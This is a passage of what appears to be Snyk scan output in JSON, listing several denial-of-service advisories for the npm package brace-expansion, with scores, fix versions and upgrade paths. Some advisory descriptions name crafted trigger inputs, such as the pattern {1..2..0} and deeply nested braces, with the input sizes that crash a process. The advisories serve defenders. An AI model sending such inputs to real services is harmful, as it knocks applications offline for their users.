Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 